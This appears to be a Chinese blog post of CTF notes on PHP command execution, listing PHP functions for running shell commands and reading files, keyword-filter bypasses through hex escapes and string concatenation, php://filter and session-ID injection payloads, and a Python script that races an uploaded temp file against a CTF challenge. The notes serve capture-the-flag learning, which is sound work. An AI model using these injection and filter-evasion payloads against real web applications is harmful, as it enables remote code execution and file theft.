CTF之PHP命令执行

二、PHP系统命令执行函数

1.system('ls');

2.echo `ls`;

3.passthru("whoami");

4.echo exec("whoami");

5.echo shell_exec("whoami");//同反引号

6.popen();//popen('echo "test" > m.txt','r');//该函数返回文件指针,也就是说该函数无回显,可以用于盲注或写马或写文件读文件或dnslog带外

7.proc_open();

8.pcntl_exec();

三、PHP列出目录下的文件

1.print_r(scandir(current(localeconv()))); //print_r可替换成:var_dump;var_export;且scandir容易没权限。
2.print_r(glob("/*")); 这里的glob和scandir函数同理,但是无关权限。
3.$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString())." ";}

四、PHP查看文件内容

1.show_source("flag.php")
2.highlight_file("flag.php")
3.highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
4.include("flag.php")
5.require("flag.php")
6.require_once("flag.php")
7.readfile("flag.php");
9.try{$dbh=new PDO('mysql:host=localhost;dbname=ctftraining','root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row){echo($row[0])."|"; }$dbh= null;}catch(PDOException $e){echo $e->getMessage();}die();
10.echo file_get_contents("flag.php");
11.var_dump(file('flag.php'));//file — 把整个文件读入一个数组中
12.print_r(file('flag.php'));
13.通过fopen去读取文件内容,这里介绍下函数
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
payload:
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
$a=fopen("flag.php","r");echo fread($a,"1000");
$a=fopen("flag.php","r");echo fpassthru($a);
14.非正常读取直接看:
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");

五、绕过关键字过滤之字符串转义

1."\x73\x79\x73\x74\x65\x6d"("ls");//这里必须是双引号
2.8进制
3.Unicode方式

六、绕过关键字之点连接字符串

(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");

七、PHP命令执行(eval)做题其他解法

1.配合文件包含示例:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php(可进行替换)
2.利用session
?c=session_start();system(session_id()); 并且 Cookie: PHPSESSID=ls 读取文件的话需要利用其他姿势了,我实验不行,说有无效参数。。。
3.通过post上传临时文件并且执行。原理:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
脚本:
import requests
while True:
    url = "http://44875025-cec2-4154-8d87-34cbdcff5f27.chall.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break

 

posted @ 2022-09-27 18:08  hithub  阅读(1690)  评论(0编辑  收藏  举报